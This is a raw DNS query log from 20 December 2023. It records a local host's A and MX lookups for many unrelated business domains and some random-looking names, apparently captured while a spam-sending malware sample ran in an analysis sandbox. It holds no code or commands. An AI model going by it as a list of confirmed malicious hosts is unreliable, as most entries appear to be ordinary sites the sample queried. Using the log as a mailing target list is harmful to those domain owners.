Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		190.187.52.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		187.204.30.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:10.347969055 CET	1.1.1.1	192.168.2.4	0x23dd	No error (0)	humydrole.com		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.162116051 CET	1.1.1.1	192.168.2.4	0x5771	Name error (3)	churchofscientology.orguk	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.219202995 CET	1.1.1.1	192.168.2.4	0xbd31	Name error (3)	a4f53bcfebc986c4.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.246176004 CET	1.1.1.1	192.168.2.4	0xa5d4	No error (0)	lisvankooten.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.249327898 CET	1.1.1.1	192.168.2.4	0xc8de	Name error (3)	nationwide-claims.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.253855944 CET	1.1.1.1	192.168.2.4	0x85de	Name error (3)	8f7940a0023aab5c.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.258872032 CET	1.1.1.1	192.168.2.4	0x62ca	Name error (3)	calebandersondesigns.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.259896040 CET	1.1.1.1	192.168.2.4	0x3788	Name error (3)	radiomaria.orgar	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.263473034 CET	1.1.1.1	192.168.2.4	0xc7d6	No error (0)	collinsgordonhenry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.273695946 CET	1.1.1.1	192.168.2.4	0x7d8e	Name error (3)	8d560e557e715856.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.280181885 CET	1.1.1.1	192.168.2.4	0x5a47	Name error (3)	a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.281035900 CET	1.1.1.1	192.168.2.4	0x957b	Name error (3)	yokohamaichigoichie.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.281987906 CET	1.1.1.1	192.168.2.4	0x2b65	Name error (3)	janicearies.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.301215887 CET	1.1.1.1	192.168.2.4	0x82cb	No error (0)	mobiamericas.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.315463066 CET	1.1.1.1	192.168.2.4	0x5fba	No error (0)	schelberg.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.315463066 CET	1.1.1.1	192.168.2.4	0x5fba	No error (0)	schelberg.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.320821047 CET	1.1.1.1	192.168.2.4	0x7091	Name error (3)	9ef1e72a04361055.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.325424910 CET	1.1.1.1	192.168.2.4	0x6e68	Name error (3)	habbocentral.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.346751928 CET	1.1.1.1	192.168.2.4	0x82a4	Name error (3)	ba02867e18351c89.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.347086906 CET	1.1.1.1	192.168.2.4	0xf8af	No error (0)	woldsweather.plus.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.347145081 CET	1.1.1.1	192.168.2.4	0xb0ba	Name error (3)	yjprwlto.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.359419107 CET	1.1.1.1	192.168.2.4	0xb398	No error (0)	newriverclimbing.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.359419107 CET	1.1.1.1	192.168.2.4	0xb398	No error (0)	newriverclimbing.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.359419107 CET	1.1.1.1	192.168.2.4	0xb398	No error (0)	newriverclimbing.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.359419107 CET	1.1.1.1	192.168.2.4	0xb398	No error (0)	newriverclimbing.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.374186993 CET	1.1.1.1	192.168.2.4	0x760	No error (0)	copyset.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.374186993 CET	1.1.1.1	192.168.2.4	0x760	No error (0)	copyset.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.375307083 CET	1.1.1.1	192.168.2.4	0xa14a	No error (0)	orangutech.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.376295090 CET	1.1.1.1	192.168.2.4	0xd013	No error (0)	ornos.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.376295090 CET	1.1.1.1	192.168.2.4	0xd013	No error (0)	ornos.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.376295090 CET	1.1.1.1	192.168.2.4	0xd013	No error (0)	ornos.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.376295090 CET	1.1.1.1	192.168.2.4	0xd013	No error (0)	ornos.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.376295090 CET	1.1.1.1	192.168.2.4	0xd013	No error (0)	ornos.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.378226995 CET	1.1.1.1	192.168.2.4	0x76c	No error (0)	bookmyrace.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.378226995 CET	1.1.1.1	192.168.2.4	0x76c	No error (0)	bookmyrace.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.378226995 CET	1.1.1.1	192.168.2.4	0x76c	No error (0)	bookmyrace.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.378226995 CET	1.1.1.1	192.168.2.4	0x76c	No error (0)	bookmyrace.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.378226995 CET	1.1.1.1	192.168.2.4	0x76c	No error (0)	bookmyrace.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.387959003 CET	1.1.1.1	192.168.2.4	0xd41f	No error (0)	tiltdesign.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.387959003 CET	1.1.1.1	192.168.2.4	0xd41f	No error (0)	tiltdesign.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.387959003 CET	1.1.1.1	192.168.2.4	0xd41f	No error (0)	tiltdesign.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.387959003 CET	1.1.1.1	192.168.2.4	0xd41f	No error (0)	tiltdesign.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.387959003 CET	1.1.1.1	192.168.2.4	0xd41f	No error (0)	tiltdesign.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.404887915 CET	1.1.1.1	192.168.2.4	0x474d	No error (0)	rosetre.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.418102026 CET	1.1.1.1	192.168.2.4	0x5081	No error (0)	ontariobluejays.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.433748960 CET	1.1.1.1	192.168.2.4	0x9a9c	No error (0)	plastikolor.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.475665092 CET	1.1.1.1	192.168.2.4	0xff0a	No error (0)	a2b-internet.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.482270956 CET	1.1.1.1	192.168.2.4	0xc436	No error (0)	activegraphics.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.599041939 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.599041939 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.599041939 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.646147013 CET	1.1.1.1	192.168.2.4	0x34fc	Name error (3)	radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.659423113 CET	1.1.1.1	192.168.2.4	0xcbe8	Name error (3)	sgeg-usa.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.664498091 CET	1.1.1.1	192.168.2.4	0x5cb6	Name error (3)	8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.675005913 CET	1.1.1.1	192.168.2.4	0xea38	No error (0)	bookmyrace.com		103.20.214.243	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.682230949 CET	1.1.1.1	192.168.2.4	0x669e	No error (0)	activegraphics.com		108.163.227.170	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.686636925 CET	1.1.1.1	192.168.2.4	0x27c2	Name error (3)	nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.691894054 CET	1.1.1.1	192.168.2.4	0x2ed6	Name error (3)	calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.702302933 CET	1.1.1.1	192.168.2.4	0x5c38	Name error (3)	leuadxqqqn.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.705943108 CET	1.1.1.1	192.168.2.4	0x7656	No error (0)	ornos.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.705943108 CET	1.1.1.1	192.168.2.4	0x7656	No error (0)	ornos.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.705986023 CET	1.1.1.1	192.168.2.4	0xbfaf	Name error (3)	9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.706470966 CET	1.1.1.1	192.168.2.4	0x738d	Name error (3)	janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.707340002 CET	1.1.1.1	192.168.2.4	0xd65d	Name error (3)	8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.707716942 CET	1.1.1.1	192.168.2.4	0x286b	No error (0)	mobiamericas.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.707716942 CET	1.1.1.1	192.168.2.4	0x286b	No error (0)	mobiamericas.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.708163023 CET	1.1.1.1	192.168.2.4	0x19f4	Name error (3)	habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.712198019 CET	1.1.1.1	192.168.2.4	0xa66b	Name error (3)	ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.714138031 CET	1.1.1.1	192.168.2.4	0xb79d	Name error (3)	yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.726677895 CET	1.1.1.1	192.168.2.4	0x12f2	No error (0)	collinsgordonhenry.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.726677895 CET	1.1.1.1	192.168.2.4	0x12f2	No error (0)	collinsgordonhenry.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.726677895 CET	1.1.1.1	192.168.2.4	0x12f2	No error (0)	collinsgordonhenry.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.726677895 CET	1.1.1.1	192.168.2.4	0x12f2	No error (0)	collinsgordonhenry.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729547024 CET	1.1.1.1	192.168.2.4	0xb7ec	No error (0)	orangutech.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729547024 CET	1.1.1.1	192.168.2.4	0xb7ec	No error (0)	orangutech.com		185.230.63.186	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729547024 CET	1.1.1.1	192.168.2.4	0xb7ec	No error (0)	orangutech.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729559898 CET	1.1.1.1	192.168.2.4	0xc6a5	No error (0)	newriverclimbing.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729559898 CET	1.1.1.1	192.168.2.4	0xc6a5	No error (0)	newriverclimbing.com		185.230.63.186	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729559898 CET	1.1.1.1	192.168.2.4	0xc6a5	No error (0)	newriverclimbing.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.729572058 CET	1.1.1.1	192.168.2.4	0xbdd6	No error (0)	micresearch.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.734153986 CET	1.1.1.1	192.168.2.4	0x5e4b	No error (0)	centurylaboratories.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.734153986 CET	1.1.1.1	192.168.2.4	0x5e4b	No error (0)	centurylaboratories.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.748502970 CET	1.1.1.1	192.168.2.4	0xdbe2	No error (0)	choctawcasino.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.758754969 CET	1.1.1.1	192.168.2.4	0x7e57	Name error (3)	crayzrocker.org	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.760051012 CET	1.1.1.1	192.168.2.4	0x7d87	Name error (3)	dm.famm.us	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.768863916 CET	1.1.1.1	192.168.2.4	0xa4b8	No error (0)	tiltdesign.com		205.178.187.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.769285917 CET	1.1.1.1	192.168.2.4	0xdeac	No error (0)	a2b-internet.com		83.98.155.23	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.780165911 CET	1.1.1.1	192.168.2.4	0xf09b	No error (0)	ontariobluejays.com		64.250.92.220	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.781105042 CET	1.1.1.1	192.168.2.4	0xb4b3	No error (0)	filmboxstudios.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.784835100 CET	1.1.1.1	192.168.2.4	0xc3b2	Name error (3)	gatewayseweranddrain.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.792226076 CET	1.1.1.1	192.168.2.4	0x7f97	Name error (3)	remafer.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.796637058 CET	1.1.1.1	192.168.2.4	0xd1dc	No error (0)	walshfam.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.796637058 CET	1.1.1.1	192.168.2.4	0xd1dc	No error (0)	walshfam.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.796637058 CET	1.1.1.1	192.168.2.4	0xd1dc	No error (0)	walshfam.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.796637058 CET	1.1.1.1	192.168.2.4	0xd1dc	No error (0)	walshfam.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.796637058 CET	1.1.1.1	192.168.2.4	0xd1dc	No error (0)	walshfam.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797369003 CET	1.1.1.1	192.168.2.4	0x41e2	No error (0)	london.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797369003 CET	1.1.1.1	192.168.2.4	0x41e2	No error (0)	london.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797369003 CET	1.1.1.1	192.168.2.4	0x41e2	No error (0)	london.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797369003 CET	1.1.1.1	192.168.2.4	0x41e2	No error (0)	london.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797369003 CET	1.1.1.1	192.168.2.4	0x41e2	No error (0)	london.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797827959 CET	1.1.1.1	192.168.2.4	0x756	No error (0)	rosetre.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797827959 CET	1.1.1.1	192.168.2.4	0x756	No error (0)	rosetre.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797827959 CET	1.1.1.1	192.168.2.4	0x756	No error (0)	rosetre.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.797827959 CET	1.1.1.1	192.168.2.4	0x756	No error (0)	rosetre.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.799206972 CET	1.1.1.1	192.168.2.4	0xbb31	Name error (3)	cummingscreativegroup.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.810023069 CET	1.1.1.1	192.168.2.4	0xb68d	No error (0)	geoffreynolds.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.811355114 CET	1.1.1.1	192.168.2.4	0x3254	No error (0)	copyset.com		69.20.103.147	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.822537899 CET	1.1.1.1	192.168.2.4	0xc98c	Name error (3)	nothingbutmiraclesphotography.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.824012995 CET	1.1.1.1	192.168.2.4	0x37d7	No error (0)	greenlawnfertilizing.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.828056097 CET	1.1.1.1	192.168.2.4	0x610d	Name error (3)	dlirfo.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.829050064 CET	1.1.1.1	192.168.2.4	0x8dcc	Name error (3)	vaoypo.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.834963083 CET	1.1.1.1	192.168.2.4	0xc810	Name error (3)	lum-gaming.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.844626904 CET	1.1.1.1	192.168.2.4	0x77ca	No error (0)	conalcorp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.850089073 CET	1.1.1.1	192.168.2.4	0x8cb3	No error (0)	tgcan.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.850089073 CET	1.1.1.1	192.168.2.4	0x8cb3	No error (0)	tgcan.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.866895914 CET	1.1.1.1	192.168.2.4	0xa2ce	No error (0)	meltonhome.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.868864059 CET	1.1.1.1	192.168.2.4	0xc401	No error (0)	directservbms.com		154.209.61.218	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.874279022 CET	1.1.1.1	192.168.2.4	0x1bac	No error (0)	jayshreeautomation.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.874279022 CET	1.1.1.1	192.168.2.4	0x1bac	No error (0)	jayshreeautomation.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.874279022 CET	1.1.1.1	192.168.2.4	0x1bac	No error (0)	jayshreeautomation.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.874279022 CET	1.1.1.1	192.168.2.4	0x1bac	No error (0)	jayshreeautomation.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.874279022 CET	1.1.1.1	192.168.2.4	0x1bac	No error (0)	jayshreeautomation.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.916667938 CET	1.1.1.1	192.168.2.4	0x2d90	No error (0)	plastikolor.com		217.70.184.38	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:17.935496092 CET	1.1.1.1	192.168.2.4	0x13b0	Name error (3)	jcdnc.org	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:17.938788891 CET	1.1.1.1	192.168.2.4	0x9ce8	No error (0)	ecochild.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.053559065 CET	1.1.1.1	192.168.2.4	0x4769	No error (0)	rehau.com.mk			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.053559065 CET	1.1.1.1	192.168.2.4	0x4769	No error (0)	rehau.com.mk			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.053559065 CET	1.1.1.1	192.168.2.4	0x4769	No error (0)	rehau.com.mk			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.072235107 CET	1.1.1.1	192.168.2.4	0x8d61	No error (0)	nicsonsconcrete.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.076994896 CET	1.1.1.1	192.168.2.4	0xf331	No error (0)	jgarch.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.076994896 CET	1.1.1.1	192.168.2.4	0xf331	No error (0)	jgarch.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.076994896 CET	1.1.1.1	192.168.2.4	0xf331	No error (0)	jgarch.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.107064962 CET	1.1.1.1	192.168.2.4	0x4ae1	Name error (3)	sachem.com.ar	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:18.186598063 CET	1.1.1.1	192.168.2.4	0x15c7	No error (0)	dako.netai.net		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:18.189229012 CET	1.1.1.1	192.168.2.4	0x5ac4	No error (0)	sadowsky.webatu.com		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:18.192758083 CET	1.1.1.1	192.168.2.4	0xc6cb	No error (0)	london.com.tr		95.173.180.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:18.453536987 CET	1.1.1.1	192.168.2.4	0x892e	No error (0)	rehau.com.mk		185.112.125.71	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.178971052 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.178971052 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.178971052 CET	1.1.1.1	192.168.2.4	0x3f17	No error (0)	eb-concept.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.180315971 CET	1.1.1.1	192.168.2.4	0x892e	No error (0)	rehau.com.mk		185.112.125.71	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.180711985 CET	1.1.1.1	192.168.2.4	0xc6cb	No error (0)	london.com.tr		95.173.180.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.465895891 CET	1.1.1.1	192.168.2.4	0xb3eb	Name error (3)	churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.488980055 CET	1.1.1.1	192.168.2.4	0xb1d0	Name error (3)	njbkrl.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.506462097 CET	1.1.1.1	192.168.2.4	0x83d1	No error (0)	aspmx5.googlemail.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.513701916 CET	1.1.1.1	192.168.2.4	0x6ac7	No error (0)	greenlawnfertilizing.com		199.60.103.25	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.513701916 CET	1.1.1.1	192.168.2.4	0x6ac7	No error (0)	greenlawnfertilizing.com		199.60.103.125	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.519165993 CET	1.1.1.1	192.168.2.4	0x347e	Name error (3)	yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.520442009 CET	1.1.1.1	192.168.2.4	0xaecc	Name error (3)	sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.527116060 CET	1.1.1.1	192.168.2.4	0xbc03	Name error (3)	shopeeten.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.527327061 CET	1.1.1.1	192.168.2.4	0xfad4	Name error (3)	vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.528875113 CET	1.1.1.1	192.168.2.4	0x960b	Name error (3)	lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.545152903 CET	1.1.1.1	192.168.2.4	0x85f8	Name error (3)	dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.552824974 CET	1.1.1.1	192.168.2.4	0xac6a	Name error (3)	leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.553946972 CET	1.1.1.1	192.168.2.4	0xcfa9	No error (0)	micresearch.net		104.21.4.150	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.553946972 CET	1.1.1.1	192.168.2.4	0xcfa9	No error (0)	micresearch.net		172.67.154.50	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.566871881 CET	1.1.1.1	192.168.2.4	0x1aa5	No error (0)	lisvankooten.com		199.34.228.152	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.571089029 CET	1.1.1.1	192.168.2.4	0x2cc	No error (0)	conalcorp.com		192.185.100.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.572159052 CET	1.1.1.1	192.168.2.4	0x243	Name error (3)	dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.573256969 CET	1.1.1.1	192.168.2.4	0xfc98	Name error (3)	crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.573735952 CET	1.1.1.1	192.168.2.4	0xfd5b	Name error (3)	nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.585046053 CET	1.1.1.1	192.168.2.4	0x7253	No error (0)	filmboxstudios.com		13.248.169.48	A (IP address)	IN (0x0001)	false
